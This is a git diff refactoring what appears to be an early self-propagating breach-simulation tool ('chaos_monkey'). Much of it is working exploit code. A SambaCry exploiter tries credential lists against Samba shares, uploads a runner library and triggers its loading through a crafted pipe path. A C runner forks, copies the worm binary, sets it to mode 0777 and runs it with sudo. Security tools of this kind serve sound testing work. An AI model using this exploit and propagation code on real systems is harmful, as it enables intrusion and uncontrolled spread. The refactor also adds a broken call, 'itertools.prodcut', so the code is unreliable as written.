diff --git a/chaos_monkey/control.py b/chaos_monkey/control.py index c2acaa25a..2b440476c 100644 --- a/chaos_monkey/control.py +++ b/chaos_monkey/control.py @@ -174,22 +174,22 @@ class ControlClient(object): if is_windows: os = "windows" if is_32bit: - arc = "x86" + arch = "x86" else: - arc = "amd64" + arch = "amd64" else: os = "linux" if is_32bit: - arc = "i686" + arch = "i686" else: - arc = "x86_64" + arch = "x86_64" return \ { "os": { "type": os, - "machine": arc + "machine": arch } } diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py index d624775c6..e56cc0a12 100644 --- a/chaos_monkey/dropper.py +++ b/chaos_monkey/dropper.py @@ -8,6 +8,8 @@ import logging import subprocess import argparse from ctypes import c_char_p + +from exploit.tools import build_monkey_commandline_explicitly from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX from config import WormConfiguration from system_info import SystemInfoCollector, OperatingSystem @@ -44,7 +46,7 @@ class MonkeyDrops(object): def start(self): if self._config['destination_path'] is None: - # TODO: log or something. + LOG.error("No destination path specified") return # we copy/move only in case path is different @@ -93,23 +95,18 @@ class MonkeyDrops(object): except: LOG.warn("Cannot set reference date to destination file") - monkey_options = "" - if self.opts.parent: - monkey_options += " -p %s" % self.opts.parent - if self.opts.tunnel: - monkey_options += " -t %s" % self.opts.tunnel - if self.opts.server: - monkey_options += " -s %s" % self.opts.server - if self.opts.depth: - monkey_options += " -d %s" % self.opts.depth + monkey_options = build_monkey_commandline_explicitly( + self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth) if OperatingSystem.Windows == SystemInfoCollector.get_os(): monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options else: dest_path = self._config['destination_path'] - monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options + # In linux we have a more complex commandline. There's a general outer one, and the inner one which actually + # runs the monkey + inner_monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options monkey_cmdline = GENERAL_CMDLINE_LINUX % {'monkey_directory': dest_path[0:dest_path.rfind("/")], - 'monkey_commandline': monkey_cmdline} + 'monkey_commandline': inner_monkey_cmdline} monkey_process = subprocess.Popen(monkey_cmdline, shell=True, stdin=None, stdout=None, stderr=None, diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index ff4fe41cc..68d1ab1a3 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -4,6 +4,8 @@ import sys import time from io import BytesIO from os import path +import itertools +import posixpath import impacket.smbconnection from impacket.nt_errors import STATUS_SUCCESS @@ -18,7 +20,7 @@ import monkeyfs from exploit import HostExploiter from model import DROPPER_ARG from network.smbfinger import SMB_SERVICE -from tools import build_monkey_commandline, get_target_monkey_by_os +from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path __author__ = 'itay.mizeretz' @@ -76,7 +78,6 @@ class SambaCryExploiter(HostExploiter): :param host: victim Host object :param share: share name :param creds: credentials to use with share - :param monkey_bin_src_path: src path of monkey binary to upload :param depth: current depth of monkey """ try: @@ -148,11 +149,7 @@ class SambaCryExploiter(HostExploiter): shares = self.list_shares(smb_client) # don't try shares we can already write to. - for writable_share in writable_shares_creds_dict: - if writable_share in shares: - shares.remove(writable_share) - - for share in shares: + for share in [x for x in shares if x not in writable_shares_creds_dict]: if self.is_share_writable(smb_client, share): writable_shares_creds_dict[share] = credentials @@ -165,6 +162,8 @@ class SambaCryExploiter(HostExploiter): def get_credentials_list(self): user_password_pairs = self._config.get_exploit_user_password_pairs() + + # Add empty credentials for anonymous shares. credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}] for user, password in user_password_pairs: @@ -174,11 +173,7 @@ class SambaCryExploiter(HostExploiter): def list_shares(self, smb_client): shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()] - for share in self._config.sambacry_shares_not_to_check: - if share in shares: - shares.remove(share) - - return shares + return [x for x in shares if x not in self._config.sambacry_shares_not_to_check] def is_vulnerable(self, host): """ @@ -209,8 +204,8 @@ class SambaCryExploiter(HostExploiter): elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"): is_vulnerable = True - LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %d" % - (host.ip_addr, smb_server_name, samba_version, int(is_vulnerable))) + LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" % + (host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable))) return is_vulnerable @@ -244,7 +239,6 @@ class SambaCryExploiter(HostExploiter): :param smb_client: smb client object :param host: victim Host object :param share: share name - :param monkey_bin_src_path: src path of monkey binary to upload :param depth: current depth of monkey """ tree_id = smb_client.connectTree(share) @@ -305,7 +299,7 @@ class SambaCryExploiter(HostExploiter): try: # the extra / on the beginning is required for the vulnerability - self.openPipe(smb_client, "/" + module_path) + self.open_pipe(smb_client, "/" + module_path) except (impacket.smbconnection.SessionError, SessionError) as e: # This is the expected result. We can't tell whether we succeeded or not just by this error code. if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: @@ -321,25 +315,22 @@ class SambaCryExploiter(HostExploiter): :param share_name: Name of the share :return: Array of possible full paths to the module. """ - possible_paths = [] - - for folder_path in self._config.sambacry_folder_paths_to_guess: - for file_name in [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]: - possible_paths.append('%s/%s/%s' % (folder_path, share_name, file_name)) - return possible_paths + sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess + file_names = [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64] + return [posixpath.join(*x) for x in itertools.prodcut(sambacry_folder_paths_to_guess, [share_name], file_names)] def get_monkey_runner_bin_file(self, is_32bit): if is_32bit: - return open(path.join(sys._MEIPASS, self._config.sambacry_runner_filename_32), "rb") + return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_32), "rb") else: - return open(path.join(sys._MEIPASS, self._config.sambacry_runner_filename_64), "rb") + return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_64), "rb") def get_monkey_commandline_file(self, host, depth, location): return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location)) # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # - def createSmb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, + def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): @@ -385,7 +376,7 @@ class SambaCryExploiter(HostExploiter): # In our case, str(FileID) return str(createResponse['FileID']) - def openPipe(self, smb_client, pathName): + def open_pipe(self, smb_client, pathName): # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style # to make things easier for the caller. Not this time ;) treeId = smb_client.connectTree('IPC$') @@ -415,5 +406,5 @@ class SambaCryExploiter(HostExploiter): return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) else: - return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ, + return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ, creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index 97ed8cb8b..2e8aa4fa5 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -442,33 +442,47 @@ def get_target_monkey(host): return monkey_path + def get_target_monkey_by_os(is_windows, is_32bit): from control import ControlClient return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) -def build_monkey_commandline(target_host, depth, location=None): - from config import WormConfiguration, GUID +def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None): cmdline = "" - cmdline += " -p " + GUID - - if target_host.default_tunnel: - cmdline += " -t " + target_host.default_tunnel - if target_host.default_server: - cmdline += " -s " + target_host.default_server - if depth < 0: - depth = 0 - - cmdline += " -d %d" % depth + if parent is not None: + cmdline += " -p " + parent + if tunnel is not None: + cmdline += " -t " + tunnel + if server is not None: + cmdline += " -s " + server + if depth is not None: + if depth < 0: + depth = 0 + cmdline += " -d %d" % depth if location is not None: cmdline += " -l %s" % location return cmdline +def build_monkey_commandline(target_host, depth, location=None): + from config import GUID + return build_monkey_commandline_explicitly( + GUID, target_host.default_tunnel, target_host.default_server, depth, location) + + def report_failed_login(exploiter, machine, user, password): from control import ControlClient ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__, 'user': user, 'password': password}) + + +def get_binaries_dir_path(): + if getattr(sys, 'frozen', False): + return sys._MEIPASS + else: + return os.path.dirname(os.path.abspath(__file__)) + diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c index 4f65298e0..e34ab7c36 100644 --- a/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c +++ b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c @@ -7,11 +7,11 @@ #include "sc_monkey_runner.h" #ifdef __x86_64__ - #define ARC_IS_64 + #define ARCH_IS_64 #endif #ifdef _____LP64_____ - #define ARC_IS_64 + #define ARCH_IS_64 #endif #define LINE_MAX_LENGTH (2048) @@ -19,7 +19,7 @@ int samba_init_module(void) { -#ifdef ARC_IS_64 +#ifdef ARCH_IS_64 const char RUNNER_FILENAME[] = "sc_monkey_runner64.so"; const char MONKEY_NAME[] = "monkey64"; const char MONKEY_COPY_NAME[] = "monkey64_2"; @@ -30,23 +30,24 @@ int samba_init_module(void) #endif const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result"; const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt"; - const char ACCESS_MODE_STRING[] = "0777"; + const int ACCESS_MODE_STRING = 0777; const char RUN_MONKEY_CMD[] = "sudo ./"; int found = 0; - char modulePathLine[LINE_MAX_LENGTH]; + char modulePathLine[LINE_MAX_LENGTH] = {'\0'}; char commandline[LINE_MAX_LENGTH] = {'\0'}; - char* monkeyDirectory; - char* fileNamePointer; - int accessMode; - FILE * pFile; + char* monkeyDirectory = NULL; + char* fileNamePointer = NULL; + int accessMode = 0; + FILE * pFile = NULL; pid_t pid = 0; - int monkeySize; - void* monkeyBinary; + int monkeySize = 0; + void* monkeyBinary = NULL; + struct stat fileStats; pid = fork(); - if (pid != 0) + if (0 != pid) { // error or this is parent - nothing to do but return. return 0; @@ -54,7 +55,7 @@ int samba_init_module(void) // Find fullpath of running module. pFile = fopen("/proc/self/maps", "r"); - if (pFile == NULL) + if (NULL == pFile) { return 0; } @@ -70,7 +71,7 @@ int samba_init_module(void) fclose(pFile); // We can't find ourselves in module list - if (found == 0) + if (0 == found) { return 0; } @@ -78,14 +79,14 @@ int samba_init_module(void) monkeyDirectory = strchr(modulePathLine, '/'); *fileNamePointer = '\0'; - if (chdir(monkeyDirectory) < 0) + if (0 != chdir(monkeyDirectory)) { return 0; } // Write file to indicate we're running pFile = fopen(RUNNER_RESULT_FILENAME, "w"); - if (pFile == NULL) + if (NULL == pFile) { return 0; } @@ -95,44 +96,37 @@ int samba_init_module(void) // Read commandline pFile = fopen(COMMANDLINE_FILENAME, "r"); - if (pFile == NULL) + if (NULL == pFile) { return 0; } // Build commandline - strcpy(commandline, RUN_MONKEY_CMD); - strcpy(commandline + strlen(RUN_MONKEY_CMD), MONKEY_COPY_NAME); - commandline[strlen(RUN_MONKEY_CMD) + strlen(MONKEY_COPY_NAME)] = ' '; + strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1); + strncat(commandline, MONKEY_COPY_NAME, sizeof(MONKEY_COPY_NAME) - 1); + strncat(commandline, " ", 1); - fread(commandline + strlen(RUN_MONKEY_CMD) + strlen(MONKEY_COPY_NAME) + 1, 1, LINE_MAX_LENGTH, pFile); + fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile); fclose(pFile); + if (0 != stat(MONKEY_NAME, &fileStats)) + { + return 0; + } + + monkeySize = (int)fileStats.st_size; + // Copy monkey to new file so we'll own it. pFile = fopen(MONKEY_NAME, "rb"); - if (pFile == NULL) + if (NULL == pFile) { return 0; } - if (0 != fseek (pFile, 0 ,SEEK_END)) - { - return 0; - } - - monkeySize = ftell(pFile); - - if (-1 == monkeySize) - { - return 0; - } - - rewind(pFile); - monkeyBinary = malloc(monkeySize); - if (0 == monkeyBinary) + if (NULL == monkeyBinary) { return 0; } @@ -141,7 +135,7 @@ int samba_init_module(void) fclose(pFile); pFile = fopen(MONKEY_COPY_NAME, "wb"); - if (pFile == NULL) + if (NULL == pFile) { free(monkeyBinary); return 0; @@ -151,8 +145,7 @@ int samba_init_module(void) free(monkeyBinary); // Change monkey permissions - accessMode = strtol(ACCESS_MODE_STRING, 0, 8); - if (chmod(MONKEY_COPY_NAME, accessMode) < 0) + if (0 != chmod(MONKEY_COPY_NAME, ACCESS_MODE_STRING)) { return 0; }